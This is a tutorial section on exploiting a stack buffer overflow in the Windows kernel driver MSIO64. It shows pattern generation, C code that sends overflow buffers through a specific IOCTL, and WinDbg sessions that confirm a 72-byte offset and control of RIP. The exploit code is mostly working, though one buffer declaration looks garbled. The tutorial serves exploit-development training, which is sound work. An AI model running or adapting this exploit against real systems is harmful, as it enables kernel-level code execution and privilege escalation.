Controlling RIP
In order to find the saved return address offset in a driver for exploitation, we follow a similar approach as with user mode stack-based overflows by submitting a pattern and observing the overwrite.
Finding the Saved Return Address Offset
Finding the saved return address offset is very similar to a user mode stack-based overflow. We submit a pattern to the driver and we examine rsp when the ret instruction is about to be executed in the vulnerable function.
How you decide to create a pattern is left up to you, I will use a slightly modified version of the script at https://github.com/ickerwx/pattern
This script will not run using python 3; to fix it you must fix the print statements, ensuring they use () brackets and references to long must be changed to int.
Run the tool to create a pattern of 250 characters:
python.exe '.\python tools\pattern.py' create 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2ANext we need to replace the fuzzer code in the else statement. This will send our pattern to the driver:
// the IOCTL code
unsigned int ioCode = 0x80102040;
// the pattern buffer
const char buffer[251] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A";
// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, 250, NULL, 0, &bytesRet, NULL);Rebuild the executable and transfer it to the target host. Ensure your debugger is connect to the host and the target driver is running.
Break in to the system and examine the return address in the vulnerable function (we know this address from the fuzzing section):
0: kd> u MSIO64+16b5
MSIO64+0x16b5:
fffff80c`50c516b5 4883c478 add rsp,78h
fffff80c`50c516b9 c3 retSet a breakpoint at this address and submit the g command in Windbg Preview:
0: kd> bp MSIO64+16b5
0: kd> gOn the target host it is time to run the exploit executable. This will break the kernel at the specified breakpoint. Allow Windbg Preview to run past the first break on the breakpoint with the g command, when we hit it the second time we can look at the stack:
Breakpoint 0 hit
MSIO64+0x16b5:
fffff80c`50c516b5 4883c478 add rsp,78hWe need to step the add rsp, 78h instruction, then we are presented with the ret instruction:
0: kd> p
MSIO64+0x16b9:
fffff80c`50c516b9 c3 retExamine the value pointed to by rsp; this is the return address that we have overwritten; we can use the da command to show that our pattern is pointed to by rsp:
0: kd> da rsp L4
ffffda01`33919818 "Ac4A"We can submit the first 4 characters to the pattern tool, on our debugger, to find the correct offset of the overwrite:
python.exe '.\python tools\pattern.py' offset Ac4A 250
72It is time to test the overwrite of rip, if this is successful then we most likely have control of the instruction pointer, and code execution.
Controlling RIP
In order to get arbitrary code execution in the context of the kernel, we need to control rip. Change the code in our exploit to match the following (again this is in the else block):
// the IOCTL code
unsigned int ioCode = 0x80102040;
// the overflow offset
const size_t offset = 72;
// the length of the buffer
const size_t len = 150;
// the buffer
char buffer[len50];
memset(buffer, 0x41, len);
char rip[8] = { 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42 };
memcpy(buffer + offset, rip, 8);
// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL);Compile the exploit code.
Copy the executable over to the target host, ensure the debugger is connected and ensure the target driver is running. This time we will not use a breakpoint and allow the Access Violation.
When the debugger breaks, we can examine the address pointed to by rsp:
1: kd> dq rsp L1
ffffb081`357a3818 42424242`42424242We can also confirm this by viewing the call stack with the k command:
1: kd> k L4
# Child-SP RetAddr Call Site
00 ffffb081`357a3818 42424242`42424242 MSIO64+0x16b9
01 ffffb081`357a3820 41414141`41414141 0x42424242`42424242
02 ffffb081`357a3828 41414141`41414141 0x41414141`41414141
03 ffffb081`357a3830 41414141`41414141 0x41414141`41414141
04 ffffb081`357a3838 41414141`41414141 0x41414141`41414141Excellent, we now have control over the saved return address, and subsequently rip.
Demo
Last updated